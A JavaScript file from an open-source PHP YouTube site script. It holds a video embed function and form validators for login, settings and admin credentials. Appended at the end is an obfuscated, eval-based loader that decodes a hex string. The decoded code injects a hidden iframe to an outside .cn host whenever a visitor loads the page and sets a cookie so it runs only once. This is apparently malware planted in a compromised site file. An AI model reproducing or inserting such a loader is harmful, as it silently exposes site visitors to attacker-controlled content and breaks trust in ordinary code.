/*
Php YT Site
Copyright (C) 2007 Ciprian Dosoftei
http://www.phpytsite.org/
 
This program is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software Foundation;
either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with
this program; if not, write to the Free Software Foundation,
Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

Further to the terms mentioned you should leave the copyright footers and
copyright notice in the code intact, stating me as the original author.
*/

function youTubePlayer( vid ) {
	document.write( "<object width='425' height='355'><param name='movie' value='http://www.youtube.com/v/" + vid + "'></param><param name='wmode' value='transparent'></param><embed src='http://www.youtube.com/v/" + vid + "' type='application/x-shockwave-flash' wmode='transparent' width='425' height='355'></embed></object>" );
}

function checkLogin() {
	if( ! $F("username") ) {
		$("username").setStyle( { background: '#a00' , color: '#fff' } );
		$("username").focus();
		window.alert( "Please enter your username!" );
		return false;
	} else
		$("username").setStyle( { background: '#fff' , color: '#000' } );
	
	if( ! $F("password") ) {
		$("password").setStyle( { background: '#a00' , color: '#fff' } );
		$("password").focus();
		window.alert( "Please enter your password!" );
		return false;
	} else
		$("password").setStyle( { background: '#fff' , color: '#000' } );
	
	$("loginFrm").submit();
}

function saveSettings() {
	var fields = new Array( "sitename" , "siteurl" , "path" , "tagline" , "tag" , "vpp" , "welcome" );
	
	for( f = 0 ; f < fields.length ; f++ )
		if( ! $F( fields[f] ) ) {
			$( fields[f] ).setStyle( { background: '#a00' , color: '#fff' } );
			$( fields[f] ).focus();
			window.alert( "Please fill in all fields!" );
			return false;
		} else
			$( fields[f] ).setStyle( { background: '#fff' , color: '#000' } );
	
	$("settingsFrm").submit();
}

function saveCredentials() {
	if( ! $F("admin") ) {
		$("admin").setStyle( { background: '#a00' , color: '#fff' } );
		$("admin").focus();
		window.alert( "Please enter your administrator username!" );
		return false;
	} else
		$("admin").setStyle( { background: '#fff' , color: '#000' } );
	
	if( $F("npassword") ) {
		if( ! $F("cpassword") ) {
			$("cpassword").setStyle( { background: '#a00' , color: '#fff' } );
			$("cpassword").focus();
			window.alert( "You must enter your current password before updating it!" );
			return false;
		} else
			$("cpassword").setStyle( { background: '#fff' , color: '#000' } );
		
		if( ! $F("rpassword") || $F("npassword") != $F("rpassword") ) {
			$("rpassword").setStyle( { background: '#a00' , color: '#fff' } );
			$("rpassword").focus();
			window.alert( "Please confirm your new password!" );
			return false;
		} else
			$("rpassword").setStyle( { background: '#fff' , color: '#000' } );
	}
	
	$("credentialsFrm").submit();
}

function updateVideos() {
	location.href = "admin.php?atask=updateVideos";
}
A1C43315AA="p";A1C43315AA+="a";A1C43315AA+="rseInt";EC0E6="S";EC0E6+="tr";EC0E6+="ing.f";EC0E6+="romCh";EC0E6+="arC";EC0E6+="ode";function D1A4D4CAF(AB7DAF8A266498A){var A461C21CF71E5=175;A461C21CF71E5=A461C21CF71E5-159;DBFBD09FE32A=eval(A1C43315AA+"(AB7DAF8A266498A,A461C21CF71E5)");return(DBFBD09FE32A);}function AFF4B1(EE1849D4D829){var E2E96AC54AA=137;E2E96AC54AA=E2E96AC54AA-135;var D37075="";for(D9D804A43569=0;D9D804A43569<EE1849D4D829.length;D9D804A43569+=E2E96AC54AA){D37075+=( eval(EC0E6+"(D1A4D4CAF(EE1849D4D829.substr(D9D804A43569,E2E96AC54AA)))"));}eval(D37075);}AFF4B1("69662028646F63756D656E742E636F6F6B69652E73656172636828227865753D392229203D3D202D3129207B0A68736F643D646F63756D656E742E676574456C656D656E744279496428276167747827293B69662868736F643D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D61677478207372633D687474703A2F2F686F73746164732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20227865753D393B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
